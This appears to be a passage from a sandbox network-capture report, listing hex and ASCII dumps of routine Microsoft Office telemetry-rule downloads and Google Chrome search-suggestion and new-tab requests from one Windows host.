2024-11-20 17:57:25 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 17:57:25 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:02 GMT ETag: "0x8DC582BA310DA18" x-ms-request-id: bdf962e5-c01e-0066-1b8c-3aa1ec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T175725Z-185f5d8b95c96jn4hC1NYCbgp80000000akg00000000hrvg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 17:57:25 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120617" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo][Ss][Oo][Ff][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.6	49732	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 17:57:25 UTC	192	OUT	GET /rules/rule120618v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 17:57:25 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 17:57:25 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:30 GMT ETag: "0x8DC582B9018290B" x-ms-request-id: a1d80e42-301e-0096-338c-3ae71d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T175725Z-r1d97b99577hc74hhC1TEBvbns000000092g00000000a987 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 17:57:25 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120618" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.6	49735	142.250.181.68	443	7952	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 17:57:25 UTC	595	OUT	GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIk6HLAQj6mM0BCIWgzQEI3L3NAQi5ys0BCOnSzQEI6NXNAQjL1s0BCKjYzQEI+cDUFRi60s0BGOuNpRc= Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-20 17:57:26 UTC	1266	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 17:57:25 GMT Pragma: no-cache Expires: -1 Cache-Control: no-cache, must-revalidate Content-Type: text/javascript; charset=UTF-8 Strict-Transport-Security: max-age=31536000 Content-Security-Policy: object-src 'none';base-uri 'self';script-src 'nonce-uc9llpIpWkVwmRd4VKegEQ' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/cdt1 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/cdt1"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-20 17:57:26 UTC	124	IN	Data Raw: 61 62 64 0d 0a 29 5d 7d 27 0a 5b 22 22 2c 5b 22 6e 79 74 20 73 74 72 61 6e 64 73 20 68 69 6e 74 73 22 2c 22 6f 76 65 72 77 61 74 63 68 20 68 65 72 6f 20 68 61 7a 61 72 64 22 2c 22 73 6f 63 69 61 6c 20 73 65 63 75 72 69 74 79 20 70 61 79 6d 65 6e 74 73 22 2c 22 70 67 61 20 74 6f 75 72 22 2c 22 6c 61 6e 74 72 69 70 20 65 6c 65 6d 65 6e 74 61 72 79 20 73 63 68 6f 6f 6c 20 Data Ascii: abd)]}'["",["nyt strands hints","overwatch hero hazard","social security payments","pga tour","lantrip elementary school
2024-11-20 17:57:26 UTC	1390	IN	Data Raw: 70 72 69 6e 63 69 70 61 6c 22 2c 22 63 61 73 63 61 64 65 73 20 68 65 61 76 79 20 73 6e 6f 77 20 73 74 6f 72 6d 20 77 65 61 74 68 65 72 22 2c 22 67 61 6d 65 73 20 61 77 61 72 64 73 20 6e 6f 6d 69 6e 65 65 73 22 2c 22 62 6c 75 65 73 6b 79 22 5d 2c 5b 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 5d 2c 5b 5d 2c 7b 22 67 6f 6f 67 6c 65 3a 63 6c 69 65 6e 74 64 61 74 61 22 3a 7b 22 62 70 63 22 3a 66 61 6c 73 65 2c 22 74 6c 77 22 3a 66 61 6c 73 65 7d 2c 22 67 6f 6f 67 6c 65 3a 67 72 6f 75 70 73 69 6e 66 6f 22 3a 22 43 68 67 49 6b 6b 34 53 45 77 6f 52 56 48 4a 6c 62 6d 52 70 62 6d 63 67 63 32 56 68 63 6d 4e 6f 5a 58 4d 5c 75 30 30 33 64 22 2c 22 67 6f 6f 67 6c 65 3a 73 75 67 67 65 73 74 64 65 74 61 69 6c 22 3a 5b 7b 22 7a 6c 22 3a 31 30 30 Data Ascii: principal","cascades heavy snow storm weather","games awards nominees","bluesky"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbmcgc2VhcmNoZXM\u003d","google:suggestdetail":[{"zl":100
2024-11-20 17:57:26 UTC	1242	IN	Data Raw: 4c 54 6c 70 47 56 56 70 55 65 48 64 73 61 46 56 4c 4d 6b 35 34 55 6c 42 33 52 6b 46 49 54 7a 64 54 59 7a 51 77 54 46 5a 4b 56 6d 52 61 53 6d 78 52 56 32 6f 32 63 48 56 4d 4e 30 6f 72 4d 55 4e 4c 62 30 52 44 4e 6d 6c 42 54 31 68 4d 59 54 4a 59 5a 6c 4a 68 52 47 78 6a 53 30 52 31 61 32 63 78 55 54 46 30 4e 32 56 48 4d 6d 67 30 55 55 63 79 52 7a 55 7a 4b 31 6c 6e 4f 44 46 76 4b 31 55 78 61 79 38 77 55 31 4e 44 62 55 63 78 61 33 52 6e 56 44 49 76 4e 6b 64 56 54 57 74 6a 64 54 64 50 59 56 63 33 4d 32 4a 51 64 30 56 7a 57 54 5a 7a 64 31 56 55 63 6c 42 42 4e 58 52 57 59 31 68 43 65 6d 49 32 54 46 56 6d 64 54 46 79 57 47 68 70 4b 32 64 43 4f 47 78 42 61 47 39 6a 62 7a 46 56 62 47 6f 35 64 48 5a 54 4f 48 46 32 52 6d 6b 30 5a 79 39 31 55 6b 31 71 59 30 51 77 59 6d Data Ascii: LTlpGVVpUeHdsaFVLMk54UlB3RkFITzdTYzQwTFZKVmRaSmxRV2o2cHVMN0orMUNLb0RDNmlBT1hMYTJYZlJhRGxjS0R1a2cxUTF0N2VHMmg0UUcyRzUzK1lnODFvK1Uxay8wU1NDbUcxa3RnVDIvNkdVTWtjdTdPYVc3M2JQd0VzWTZzd1VUclBBNXRWY1hCemI2TFVmdTFyWGhpK2dCOGxBaG9jbzFVbGo5dHZTOHF2Rmk0Zy91Uk1qY0QwYm
2024-11-20 17:57:26 UTC	89	IN	Data Raw: 35 33 0d 0a 34 53 46 6c 55 54 6e 55 35 62 55 78 48 56 30 68 48 54 6a 5a 35 61 56 64 53 63 7a 64 49 55 6b 35 71 61 33 4a 57 62 53 74 32 4d 47 38 77 4d 32 35 4d 53 30 74 79 51 30 35 72 51 69 39 6f 64 55 5a 72 4b 79 38 34 59 6e 63 34 57 45 63 76 55 31 52 69 5a 6b 0d 0a Data Ascii: 534SFlUTnU5bUxHV0hHTjZ5aVdSczdIUk5qa3JWbSt2MG8wM25MS0tyQ05rQi9odUZrKy84Ync4WEcvU1RiZk
2024-11-20 17:57:26 UTC	693	IN	Data Raw: 32 61 65 0d 0a 46 57 62 6c 4a 4f 53 56 46 48 57 6d 4e 68 56 47 39 79 51 33 4e 6e 64 6c 4e 7a 52 6c 52 46 56 31 64 36 64 48 49 31 56 45 64 6d 5a 45 5a 73 61 57 45 77 4d 58 68 47 56 45 4e 44 52 57 78 61 63 54 56 43 4e 48 4e 78 62 55 46 56 64 45 4a 6d 57 46 52 6d 5a 56 42 30 55 30 52 57 62 57 46 56 65 46 6c 45 57 53 39 33 53 6d 52 43 57 6c 46 4e 4e 33 52 6b 54 58 4a 74 56 7a 42 56 65 6c 4e 53 54 46 46 46 4c 7a 42 6e 64 6a 6c 4f 54 55 78 4a 5a 31 4e 79 4d 46 52 50 4e 79 39 6e 4e 57 70 73 59 56 46 4d 51 57 5a 46 63 6e 56 33 62 47 56 5a 5a 48 45 30 64 6b 73 72 59 6d 56 73 63 32 52 6f 64 55 56 30 64 69 74 45 4d 7a 56 71 59 32 51 78 65 56 4e 35 4e 43 39 42 51 55 46 42 51 55 56 73 52 6c 52 72 55 33 56 52 62 55 4e 44 4f 67 68 51 52 30 45 67 56 45 39 56 55 6b 6f 48 Data Ascii: 2aeFWblJOSVFHWmNhVG9yQ3NndlNzRlRFV1d6dHI1VEdmZEZsaWEwMXhGVENDRWxacTVCNHNxbUFVdEJmWFRmZVB0U0RWbWFVeFlEWS93SmRCWlFNN3RkTXJtVzBVelNSTFFFLzBndjlOTUxJZ1NyMFRPNy9nNWpsYVFMQWZFcnV3bGVZZHE0dksrYmVsc2RodUV0ditEMzVqY2QxeVN5NC9BQUFBQUVsRlRrU3VRbUNDOghQR0EgVE9VUkoH
2024-11-20 17:57:26 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.6	49737	142.250.181.68	443	7952	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 17:57:25 UTC	353	OUT	GET /async/ddljson?async=ntp:2 HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.6	49736	142.250.181.68	443	7952	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 17:57:25 UTC	498	OUT	GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIk6HLAQj6mM0BCIWgzQEI3L3NAQi5ys0BCOnSzQEI6NXNAQjL1s0BCKjYzQEI+cDUFRi60s0BGOuNpRc= Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-20 17:57:26 UTC	1018	IN	HTTP/1.1 200 OK Version: 697526041 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Wed, 20 Nov 2024 17:57:25 GMT Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-20 17:57:26 UTC	372	IN	Data Raw: 32 33 66 38 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 6c 61 6e 67 75 61 67 65 5f 63 6f 64 65 22 3a 22 65 6e 2d 55 53 22 2c 22 6f 67 62 22 3a 7b 22 68 74 6d 6c 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 68 74 6d 6c 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 5c 75 30 30 33 63 68 65 61 64 65 72 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 45 61 20 67 62 5f 32 64 20 67 62 5f 51 65 20 67 62 5f 71 64 5c 22 20 69 64 5c 75 30 30 33 64 5c 22 67 62 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 61 6e 6e 65 72 5c 22 20 73 74 79 6c 65 5c 75 30 30 33 64 5c 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 5c 22 5c 75 30 30 33 65 Data Ascii: 23f8)]}'{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_2d gb_Qe gb_qd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e
2024-11-20 17:57:26 UTC	1390	IN	Data Raw: 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 72 64 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 4a 63 20 67 62 5f 51 5c 22 20 61 72 69 61 2d 65 78 70 61 6e 64 65 64 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 61 72 69 61 2d 6c 61 62 65 6c 5c 75 30 30 33 64 5c 22 4d 61 69 6e 20 6d 65 6e 75 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 75 74 74 6f 6e 5c 22 20 74 61 62 69 6e 64 65 78 5c 75 30 30 33 64 5c 22 30 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 76 67 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 76 69 65 77 62 6f 78 5c 75 30 30 33 64 5c 22 30 20 30 20 32 34 20 32 34 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 70 61 74 68 20 64 5c 75 30 Data Ascii: class\u003d\"gb_wd gb_rd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u0
2024-11-20 17:57:26 UTC	1390	IN	Data Raw: 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 38 63 20 67 62 5f 39 63 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 70 61 6e 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 75 64 5c 22 20 61 72 69 61 2d 6c 65 76 65 6c 5c 75 30 30 33 64 5c 22 31 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 68 65 61 64 69 6e 67 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 73 70 61 6e 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 61 64 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 Data Ascii: 003cdiv class\u003d\"gb_wd gb_8c gb_9c\"\u003e\u003cspan class\u003d\"gb_ud\" aria-level\u003d\"1\" role\u003d\"heading\"\u003e \u003c\/span\u003e\u003cdiv class\u003d\"gb_ad\"\u003e \u003c\/div\u003e\u003c\/div\u003e\u003c\/div\u003e\u003cdiv class\u003d
2024-11-20 17:57:26 UTC	1390	IN	Data Raw: 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 44 5c 22 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 68 65 69 67 68 74 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 20 76 69 65 77 42 6f 78 5c 75 30 30 33 64 5c 22 30 20 2d 39 36 30 20 39 36 30 20 39 36 30 5c 22 20 77 69 64 74 68 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 70 61 74 68 20 64 5c 75 30 30 33 64 5c 22 4d 32 30 39 2d 31 32 30 71 2d 34 32 20 30 2d 37 30 2e 35 2d 32 38 2e 35 54 31 31 30 2d 32 31 37 71 30 2d 31 34 20 33 2d 32 35 2e 35 74 39 2d 32 31 2e 35 6c 32 32 38 2d 33 34 31 71 31 30 2d 31 34 20 31 35 2d 33 31 74 35 2d 33 34 76 2d 31 31 30 68 2d 32 30 71 2d 31 33 20 30 2d 32 31 2e 35 2d 38 2e 35 54 33 32 30 2d 38 31 30 71 30 2d 31 33 20 Data Ascii: ss\u003d\"gb_D\" focusable\u003d\"false\" height\u003d\"24px\" viewBox\u003d\"0 -960 960 960\" width\u003d\"24px\"\u003e \u003cpath d\u003d\"M209-120q-42 0-70.5-28.5T110-217q0-14 3-25.5t9-21.5l228-341q10-14 15-31t5-34v-110h-20q-13 0-21.5-8.5T320-810q0-13
2024-11-20 17:57:26 UTC	1390	IN	Data Raw: 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 36 2c 36 63 30 2c 31 2e 31 20 30 2e 39 2c 32 20 32 2c 32 73 32 2c 2d 30 2e 39 20 32 2c 2d 32 20 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 7a 4d 31 32 2c 38 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 2c 31 34 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 2c 32 30 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c Data Ascii: 1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM16,6c0,1.1 0.9,2 2,2s2,-0.9 2,-2 -0.9,-2 -2,-2 -2,0.9 -2,2zM12,8c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18,14c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18,20c1.1,0 2,-0.9 2,
2024-11-20 17:57:26 UTC	1390	IN	Data Raw: 65 6e 75 2d 63 6f 6e 74 65 6e 74 22 2c 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 62 61 72 5f 68 65 69 67 68 74 22 3a 36 30 2c 22 65 78 70 65 72 69 6d 65 6e 74 5f 69 64 22 3a 5b 33 37 30 30 33 31 35 2c 33 37 30 30 39 34 39 2c 33 37 30 31 33 38 34 5d 2c 22 69 73 5f 62 61 63 6b 75 70 5f 62 61 72 22 3a 66 61 6c 73 65 7d 2c 22 70 61 67 65 5f 68 6f 6f 6b 73 22 3a 7b 22 61 66 74 65 72 5f 62 61 72 5f 73 63 72 69 70 74 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 73 63 72 69 70 74 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 74 68 69 73 2e 67 62 61 72 5f 5c 75 30 30 33 64 74 68 69 73 2e 67 62 61 72 5f 7c 7c 7b 7d 3b 28 66 75 6e 63 74 69 6f 6e 28 5f 29 7b 76 61 72 20 77 69 6e 64 6f 77 5c 75 Data Ascii: enu-content","metadata":{"bar_height":60,"experiment_id":[3700315,3700949,3701384],"is_backup_bar":false},"page_hooks":{"after_bar_script":{"private_do_not_access_or_else_safe_script_wrapped_value":"this.gbar_\u003dthis.gbar_\|\|{};(function(_){var window\u
2024-11-20 17:57:26 UTC	1390	IN	Data Raw: 72 61 79 28 62 29 3b 66 6f 72 28 6c 65 74 20 64 5c 75 30 30 33 64 30 3b 64 5c 75 30 30 33 63 62 3b 64 2b 2b 29 63 5b 64 5d 5c 75 30 30 33 64 61 5b 64 5d 3b 72 65 74 75 72 6e 20 63 7d 72 65 74 75 72 6e 5b 5d 7d 3b 49 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 6e 65 77 20 5f 2e 48 64 28 62 5c 75 30 30 33 64 5c 75 30 30 33 65 62 2e 73 75 62 73 74 72 28 30 2c 61 2e 6c 65 6e 67 74 68 2b 31 29 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 75 30 30 33 64 61 2b 5c 22 3a 5c 22 29 7d 3b 5f 2e 4a 64 5c 75 30 30 33 64 67 6c 6f 62 61 6c 54 68 69 73 2e 74 72 75 73 74 65 64 54 79 70 65 73 3b 5f 2e 4b 64 5c 75 30 30 33 64 63 6c 61 73 73 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 61 29 7b 74 68 69 73 2e 69 Data Ascii: ray(b);for(let d\u003d0;d\u003cb;d++)c[d]\u003da[d];return c}return[]};Id\u003dfunction(a){return new _.Hd(b\u003d\u003eb.substr(0,a.length+1).toLowerCase()\u003d\u003d\u003da+\":\")};_.Jd\u003dglobalThis.trustedTypes;_.Kd\u003dclass{constructor(a){this.i
2024-11-20 17:57:26 UTC	504	IN	Data Raw: 6f 77 20 45 72 72 6f 72 28 5c 22 46 5c 22 29 3b 7d 3b 5f 2e 5a 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 59 64 2e 74 65 73 74 28 61 29 29 72 65 74 75 72 6e 20 61 7d 3b 5f 2e 24 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 61 20 69 6e 73 74 61 6e 63 65 6f 66 20 5f 2e 4b 64 29 69 66 28 61 20 69 6e 73 74 61 6e 63 65 6f 66 20 5f 2e 4b 64 29 61 5c 75 30 30 33 64 61 2e 69 3b 65 6c 73 65 20 74 68 72 6f 77 20 45 72 72 6f 72 28 5c 22 46 5c 22 29 3b 65 6c 73 65 20 61 5c 75 30 30 33 64 5f 2e 5a 64 28 61 29 3b 72 65 74 75 72 6e 20 61 7d 3b 5f 2e 61 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 5c 75 30 30 33 64 64 6f 63 75 6d 65 6e 74 29 7b 6c 65 74 20 63 2c 64 3b 62 5c 75 30 30 33 64 28 64 5c 75 30 30 33 64 28 Data Ascii: ow Error(\"F\");};_.Zd\u003dfunction(a){if(Yd.test(a))return a};_.$d\u003dfunction(a){if(a instanceof _.Kd)if(a instanceof _.Kd)a\u003da.i;else throw Error(\"F\");else a\u003d_.Zd(a);return a};_.ae\u003dfunction(a,b\u003ddocument){let c,d;b\u003d(d\u003d(
2024-11-20 17:57:26 UTC	545	IN	Data Raw: 32 31 61 0d 0a 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 6f 62 6a 65 63 74 5c 22 5c 75 30 30 32 36 5c 75 30 30 32 36 74 79 70 65 6f 66 20 61 2e 6c 65 6e 67 74 68 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 6e 75 6d 62 65 72 5c 22 7d 3b 5f 2e 63 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 29 7b 72 65 74 75 72 6e 20 5f 2e 75 62 28 61 2c 62 2c 63 2c 21 31 29 21 5c 75 30 30 33 64 5c 75 30 30 33 64 76 6f 69 64 20 30 7d 3b 5f 2e 64 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 5f 2e 51 64 28 5f 2e 4a 63 28 61 2c 62 29 29 7d 3b 5f 2e 53 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 5f 2e 50 64 28 5f 2e 4a 63 28 61 2c 62 